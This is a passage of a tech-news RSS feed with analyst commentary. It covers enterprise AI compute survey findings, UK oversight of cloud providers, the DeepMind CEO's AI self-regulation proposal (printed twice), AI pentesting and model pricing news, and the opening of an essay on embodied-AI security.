ICMSP)</b></p></td></tr><tr><td><p><b>18%</b></p></td><td><p><b>are not aware of this as a constraint (9%) or haven’t addressed inference-memory limits yet (8%)</b></p></td></tr><tr><td><p><b>10%</b></p></td><td><p><b>Hammerspace (Tier Zero); 9% DDN (Infinia); the rest split across open-source KV-cache tooling, model-level efficiency, VAST Data, and WEKA</b></p></td></tr></tbody></table><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h1><b>The bottom line: A compute gap that faster spending will widen, not close</b></h1><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[UK Puts AWS, Azure, Google Cloud, and Oracle Under Direct Financial Oversight]]></title>
<description><![CDATA[The UK has begun direct oversight of systemic cloud services used by financial firms, while banks remain responsible for their own operational resilience, contracts, and recovery planning.
The post UK Puts AWS, Azure, Google Cloud, and Oracle Under Direct Financial Oversight appeared first on Tec...]]></description>
<link>https://tsecurity.de/de/3673935/it-nachrichten/uk-puts-aws-azure-google-cloud-and-oracle-under-direct-financial-oversight/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673935/it-nachrichten/uk-puts-aws-azure-google-cloud-and-oracle-under-direct-financial-oversight/</guid>
<pubDate>Thu, 16 Jul 2026 17:18:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The UK has begun direct oversight of systemic cloud services used by financial firms, while banks remain responsible for their own operational resilience, contracts, and recovery planning.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-cloud-oversight-banks-emea-uk/">UK Puts AWS, Azure, Google Cloud, and Oracle Under Direct Financial Oversight</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
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<title><![CDATA[DeepMind CEO pushes for AI industry self-regulation]]></title>
<description><![CDATA[Google DeepMind CEO Demis Hassabis is pushing for the US AI industry to self-regulate, with the support of government, as a starting point for an international creating shared international standards. In a blog post, he called for a focus on artificial general intelligence (AGI) and national secu...]]></description>
<link>https://tsecurity.de/de/3673460/it-nachrichten/deepmind-ceo-pushes-for-ai-industry-self-regulation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673460/it-nachrichten/deepmind-ceo-pushes-for-ai-industry-self-regulation/</guid>
<pubDate>Thu, 16 Jul 2026 14:33:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google DeepMind CEO Demis Hassabis is pushing for the US AI industry to self-regulate, with the support of government, as a starting point for an international creating shared international standards. In a blog post, he called for a focus on <a href="https://www.computerworld.com/article/4174181/google-talks-singularity-while-scaling-up-agentic-ai-for-enterprises-2.html">artificial general intelligence (AGI)</a> and national security. </p>



<p class="wp-block-paragraph">But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.</p>



<p class="wp-block-paragraph">“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” <a href="https://demishassabis.substack.com/p/a-framework-for-frontier-ai-and-the-dawning-of-a-new-age" target="_blank" rel="noreferrer noopener">Hassabis wrote</a>. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”</p>



<p class="wp-block-paragraph">He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.</p>



<p class="wp-block-paragraph">Hassabis proposed that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants be encouraged to adopt best practices such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.</p>



<p class="wp-block-paragraph">This is not the first time Hassabis has <a href="https://www.computerworld.com/article/4178398/deepmind-ceo-agi-could-be-here-in-three-years.html" target="_blank">expressed worries about AGI</a>. </p>



<p class="wp-block-paragraph">DeepMind was involved in an earlier <a href="https://www.cio.com/article/4168122/us-government-agency-to-safety-test-frontier-ai-models-before-release.html" target="_blank">US government initiative evaluating AI safety</a>, alongside Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  </p>



<h2 class="wp-block-heading">The rest of the world may have concerns</h2>



<p class="wp-block-paragraph">Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.</p>



<p class="wp-block-paragraph">“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst <a href="https://www.gartner.com/en/experts/nader-henein" target="_blank" rel="noreferrer noopener">Nader Henein</a>. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”</p>



<p class="wp-block-paragraph">And, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. </p>



<p class="wp-block-paragraph">“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. </p>



<p class="wp-block-paragraph">“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”</p>



<p class="wp-block-paragraph">Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.</p>



<p class="wp-block-paragraph">Walmart’s former director of cybersecurity <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”</p>



<p class="wp-block-paragraph">He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how <a href="https://www.finra.org/" target="_blank" rel="noreferrer noopener">FINRA</a> operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.</p>



<p class="wp-block-paragraph">“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/carmi/" target="_blank" rel="noreferrer noopener">Carmi Levy</a>, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.</p>



<p class="wp-block-paragraph">“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”</p>



<h2 class="wp-block-heading">Some love the proposal</h2>



<p class="wp-block-paragraph">An almost completely opposite stance came from <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, who applauded the proposed move.</p>



<p class="wp-block-paragraph">“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”</p>



<p class="wp-block-paragraph">He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the <a href="https://www.nrc.gov/reading-rm/doc-collections/fact-sheets/3mile-isle" target="_blank" rel="noreferrer noopener">1979 Three Mile Island partial reactor meltdown</a> “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”</p>



<p class="wp-block-paragraph">For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.</p>



<p class="wp-block-paragraph"><strong>“</strong>Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”</p>



<p class="wp-block-paragraph">However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” </p>



<p class="wp-block-paragraph">Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">OpenClaw is also targeting</a>.”</p>
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<title><![CDATA[DeepMind CEO pushes for AI industry self-regulation]]></title>
<description><![CDATA[Google DeepMind CEO Demis Hassabis is pushing for the US AI industry to self-regulate, with the support of government, as a starting point for an international creating shared international standards. In a blog post, he called for a focus on artificial general intelligence (AGI) and national secu...]]></description>
<link>https://tsecurity.de/de/3673451/it-nachrichten/deepmind-ceo-pushes-for-ai-industry-self-regulation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673451/it-nachrichten/deepmind-ceo-pushes-for-ai-industry-self-regulation/</guid>
<pubDate>Thu, 16 Jul 2026 14:33:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google DeepMind CEO Demis Hassabis is pushing for the US AI industry to self-regulate, with the support of government, as a starting point for an international creating shared international standards. In a blog post, he called for a focus on <a href="https://www.computerworld.com/article/4174181/google-talks-singularity-while-scaling-up-agentic-ai-for-enterprises-2.html">artificial general intelligence (AGI)</a> and national security. </p>



<p class="wp-block-paragraph">But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.</p>



<p class="wp-block-paragraph">“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” <a href="https://demishassabis.substack.com/p/a-framework-for-frontier-ai-and-the-dawning-of-a-new-age" target="_blank" rel="noreferrer noopener">Hassabis wrote</a>. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”</p>



<p class="wp-block-paragraph">He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.</p>



<p class="wp-block-paragraph">Hassabis proposed that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants be encouraged to adopt best practices such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.</p>



<p class="wp-block-paragraph">This is not the first time Hassabis has <a href="https://www.computerworld.com/article/4178398/deepmind-ceo-agi-could-be-here-in-three-years.html" target="_blank">expressed worries about AGI</a>. </p>



<p class="wp-block-paragraph">DeepMind was involved in an earlier <a href="https://www.cio.com/article/4168122/us-government-agency-to-safety-test-frontier-ai-models-before-release.html" target="_blank">US government initiative evaluating AI safety</a>, alongside Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  </p>



<h2 class="wp-block-heading">The rest of the world may have concerns</h2>



<p class="wp-block-paragraph">Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.</p>



<p class="wp-block-paragraph">“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst <a href="https://www.gartner.com/en/experts/nader-henein" target="_blank" rel="noreferrer noopener">Nader Henein</a>. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”</p>



<p class="wp-block-paragraph">And, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. </p>



<p class="wp-block-paragraph">“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. </p>



<p class="wp-block-paragraph">“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”</p>



<p class="wp-block-paragraph">Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.</p>



<p class="wp-block-paragraph">Walmart’s former director of cybersecurity <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”</p>



<p class="wp-block-paragraph">He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how <a href="https://www.finra.org/" target="_blank" rel="noreferrer noopener">FINRA</a> operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.</p>



<p class="wp-block-paragraph">“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/carmi/" target="_blank" rel="noreferrer noopener">Carmi Levy</a>, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.</p>



<p class="wp-block-paragraph">“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”</p>



<h2 class="wp-block-heading">Some love the proposal</h2>



<p class="wp-block-paragraph">An almost completely opposite stance came from <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, who applauded the proposed move.</p>



<p class="wp-block-paragraph">“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”</p>



<p class="wp-block-paragraph">He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the <a href="https://www.nrc.gov/reading-rm/doc-collections/fact-sheets/3mile-isle" target="_blank" rel="noreferrer noopener">1979 Three Mile Island partial reactor meltdown</a> “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”</p>



<p class="wp-block-paragraph">For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.</p>



<p class="wp-block-paragraph"><strong>“</strong>Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”</p>



<p class="wp-block-paragraph">However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” </p>



<p class="wp-block-paragraph">Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">OpenClaw is also targeting</a>.”</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4197497/deepmind-ceo-pushes-for-ai-industry-self-regulation.html">CIO</a>.</em></p>
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<title><![CDATA[Intruder brings AI-powered, on-demand penetration testing to web applications]]></title>
<description><![CDATA[Intruder has announced the launch of AI Pentesting for web applications, providing on-demand penetration testing. Following its initial release of issue-level investigations last quarter, the platform now allows organizations to securely connect their codebases via GitHub or GitLab to automatical...]]></description>
<link>https://tsecurity.de/de/3673270/it-security-nachrichten/intruder-brings-ai-powered-on-demand-penetration-testing-to-web-applications/</link>
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<pubDate>Thu, 16 Jul 2026 13:39:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Intruder has announced the launch of AI Pentesting for web applications, providing on-demand penetration testing. Following its initial release of issue-level investigations last quarter, the platform now allows organizations to securely connect their codebases via GitHub or GitLab to automatically scope and launch penetration tests in minutes, with results and audit-ready reporting in hours. Mythos and Daybreak have proven that AI is extremely adept at finding security vulnerabilities. At the same time, AI is accelerating … <a href="https://www.helpnetsecurity.com/2026/07/16/intruder-brings-ai-powered-on-demand-penetration-testing-to-web-applications/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/16/intruder-brings-ai-powered-on-demand-penetration-testing-to-web-applications/">Intruder brings AI-powered, on-demand penetration testing to web applications</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Anthropic’s ‘free’ Fable offer — a token lock-in trap for users?]]></title>
<description><![CDATA[It’s not so much generosity that’s behind Anthropic’s decision to extend free access to its most advanced model, Fable, for paid subscribers until July 19, analysts say. Its a last-minute move to grab users, data and model evaluation results.



After the free-access period, Anthropic plans to co...]]></description>
<link>https://tsecurity.de/de/3673105/ai-nachrichten/anthropics-free-fable-offer-a-token-lock-in-trap-for-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673105/ai-nachrichten/anthropics-free-fable-offer-a-token-lock-in-trap-for-users/</guid>
<pubDate>Thu, 16 Jul 2026 12:32:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">It’s not so much generosity that’s behind Anthropic’s decision to extend free access to its most advanced model, Fable, for paid subscribers until July 19, analysts say. Its a last-minute move to grab users, data and model evaluation results.</p>



<p class="wp-block-paragraph">After the free-access period, Anthropic plans to convert Fable to a pay-per-use model, at $10 per million input tokens and a whopping $50 for 1 million output tokens.</p>



<p class="wp-block-paragraph">That is double the price of its next most advanced model, Opus 4.8, for input and output tokens. “We’re extending Claude Fable 5 access on all paid plans, as well as keeping Claude Code’s weekly rate limits 50% higher, through July 19,” <a href="https://x.com/claudeai/status/2076351399999557669" target="_blank" rel="noreferrer noopener">Anthropic’s team said in a July 12 tweet</a>.</p>



<p class="wp-block-paragraph">Anthropic keeps extending Fable because it does not yet know what its flagship is worth, said Sanchit Vir Gogia, principal analyst at Greyhound Research. “A vendor confident in its price does not move the same cutoff twice in six days, both times at the wire,” Gogia said.</p>



<p class="wp-block-paragraph">Anthropic is essentially pushing deadlines to test its products, while users gain by being able to put their toughest tasks to Fable, Gogia said.</p>



<p class="wp-block-paragraph">Anthropic, which did not immediately reply to a request for comment about the situation, has already seen plenty of action with Fable and its sister model Mythos. Both have been touted as the company’s most advanced models yet.</p>



<h2 class="wp-block-heading">Fable stumbles, then reappears</h2>



<p class="wp-block-paragraph">Fable was officially launched June 9. Just three days later, on June 12, the <a href="https://www.computerworld.com/article/4185515/anthropics-new-privacy-policy-offers-us-consumers-a-way-around-fable-ban-2.html">US government put export controls on it</a> after Amazon researchers bypassed Fable’s safeguards, prompting the model to identify software vulnerabilities and demonstrate an exploit. </p>



<p class="wp-block-paragraph">After Anthropic scrambled to address the issues — and <a href="https://www.computerworld.com/article/4191565/us-reverses-export-restrictions-on-anthropics-fable-5-mythos-5-ai-models-2.html">after the export controls were lifted</a> — Fable was relaunched July 1.</p>



<p class="wp-block-paragraph">Fable’s freebie extension comes after OpenAI’s latest model, ChatGPT 5.6 Sol, became generally available July 9. Sol is cheaper at $5 per one million tokens input, and $30 for 1 million output tokens.</p>



<p class="wp-block-paragraph">Anthropic and OpenAI are competing aggressively to build market share, said Jack Gold, principal analyst at J. Gold Associates. “Anthropic and OpenAI are looking to go public and the more users they have, the more attractive it is — even if they are not yet producing income,” he said.</p>



<p class="wp-block-paragraph">In some ways, the two companies are following a well-trodden path to get customers hooked on their products and turned into paying customers. That’s what Meta, Google and Microsoft, for instance, have done over the years with various “free” offers that later morphed into paid products. </p>



<p class="wp-block-paragraph">Plus, said Gold, ”The more users you have, the better you can train your models across multiple data sets.”</p>



<p class="wp-block-paragraph">That’s a potential boon for proprietary large language model (LLM) vendors offering free tokens in a bid to lock enterprises and vendors into their AI environments. But numerous experts have warned enterprises not to fall for that tactic. Instead, they argue enterprises <a href="https://www.computerworld.com/article/4188012/too-good-to-be-true-avoid-free-ai-token-offers-or-risk-vendor-lock-in.html">should diversify AI development across multiple AI and cloud vendors</a>, and adopt open-source models.</p>



<h2 class="wp-block-heading">An LLM space race?</h2>



<p class="wp-block-paragraph">According to <a href="https://artificialanalysis.ai/leaderboards/models" target="_blank" rel="noreferrer noopener">LLM benchmarks maintained by Artificial Analysis</a>, Fable is the most intelligent model currently available, with Sol just behind it in second place. <a href="https://livebench.ai/#/" target="_blank" rel="noreferrer noopener">One benchmark by LiveBench</a> places Sol as being better in reasoning, with Fable better at math, data analysis, instruction following and language. Both models have advantages in coding.</p>



<p class="wp-block-paragraph">Meanwhile, Cursor and SpaceXAI on July 8 <a href="https://www.computerworld.com/article/4194914/spacexai-launches-grok-4-5-touts-lower-coding-task-costs-than-ai-rivals-2.html">unveiled Grok 4.5</a>, which the companies said can “handle difficult, long-running tasks that require creatively using tools to solve problems, whether in software engineering, data science, finance, legal work, or anything else you do on a computer,” <a href="https://cursor.com/blog/grok-4-5" target="_blank" rel="noreferrer noopener">the company said in a blog entry</a>.</p>



<p class="wp-block-paragraph">Its pricing is even more aggressive than Fable and ChatGPT 5.6 Sol. Grok 4.5 charges $2 for 1 million input tokens and $6 for 1 million output tokens.</p>



<p class="wp-block-paragraph">There are <a href="https://www.computerworld.com/article/4185848/how-companies-are-racing-to-solve-the-ai-token-problem.html">growing concerns about tokenmaxxing</a>, where enterprises rack up billions of dollars in token spending, blowing past usage limits before finance controls are implemented.</p>



<p class="wp-block-paragraph">Enterprises might decide to spend more on models such as Mythos and Fable — if the benefits are tangible, said Max Leaming, head of data science and AI solutions at ManpowerGroup. Fable and Mythos may “actually be less expensive to use in spite of the spiked token cost because it’s far more efficient,” he said.</p>



<p class="wp-block-paragraph">A company might find that the models use fewer tokens, are faster, and can reduce compute time, he said. “Even though the per-token costs may go up, we may see overall costs go down,” Leaming said.</p>
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<title><![CDATA[When AI gets a body, it inherits an attack surface]]></title>
<description><![CDATA[Most security leaders I know working on AI robotics are being shown the same kind of video. A humanoid folds a shirt, sorts a bin, walks a warehouse aisle and a vendor uses the clip to move an embodied AI system from pitch to purchase order. Someone then has to sign off. Robot demos create procur...]]></description>
<link>https://tsecurity.de/de/3673042/it-security-nachrichten/when-ai-gets-a-body-it-inherits-an-attack-surface/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673042/it-security-nachrichten/when-ai-gets-a-body-it-inherits-an-attack-surface/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Most security leaders I know working on AI robotics are being shown the same kind of video. A humanoid folds a shirt, sorts a bin, walks a warehouse aisle and a vendor uses the clip to move an embodied AI system from pitch to purchase order. Someone then has to sign off. Robot demos create procurement momentum before security teams receive the artifacts needed to evaluate the system as cyber-physical infrastructure.</p>



<p class="wp-block-paragraph">Before the book, I prepared cloud infrastructure operating in China and the United States for cybersecurity compliance audits and for the Multi-Level Protection Scheme, China’s mandatory security-grading regime that determines whether a system is allowed to operate. That work taught me a lesson I carry into every AI conversation now. You cannot secure what you cannot see into, and the buyer rarely sees in. A demo makes it worse. It shows one task, completed once, under conditions the vendor chose. None of what a security team must evaluate is on screen.</p>



<p class="wp-block-paragraph">This used to be a research-lab problem. It is now a procurement line item. The risk changed when embodied AI moved from a research demo to a purchase order.  Vendors are asking security teams to approve embodied AI before the category has audit evidence, logging norms, supplier transparency or a shared-responsibility model.</p>



<p class="wp-block-paragraph">Embodied AI puts a model inside a machine that operates in the physical world: a robot, an arm, a humanoid. Once a model gains motors, sensors and a body, it ceases to be a software endpoint and becomes a cyber-physical system. It inherits hardware, firmware, a supply chain, an installer and a set of remote-access paths. Every one of those is an attack surface that the demo video doesn’t show. An embodied system is sold like software and behaves like a fleet of networked machinery on your floor.</p>



<p class="wp-block-paragraph">Evaluate these systems across five questions: provenance, access, integrity, evidence and accountability. Here is what each means.</p>



<h2 class="wp-block-heading">Evaluation question #1: Provenance</h2>



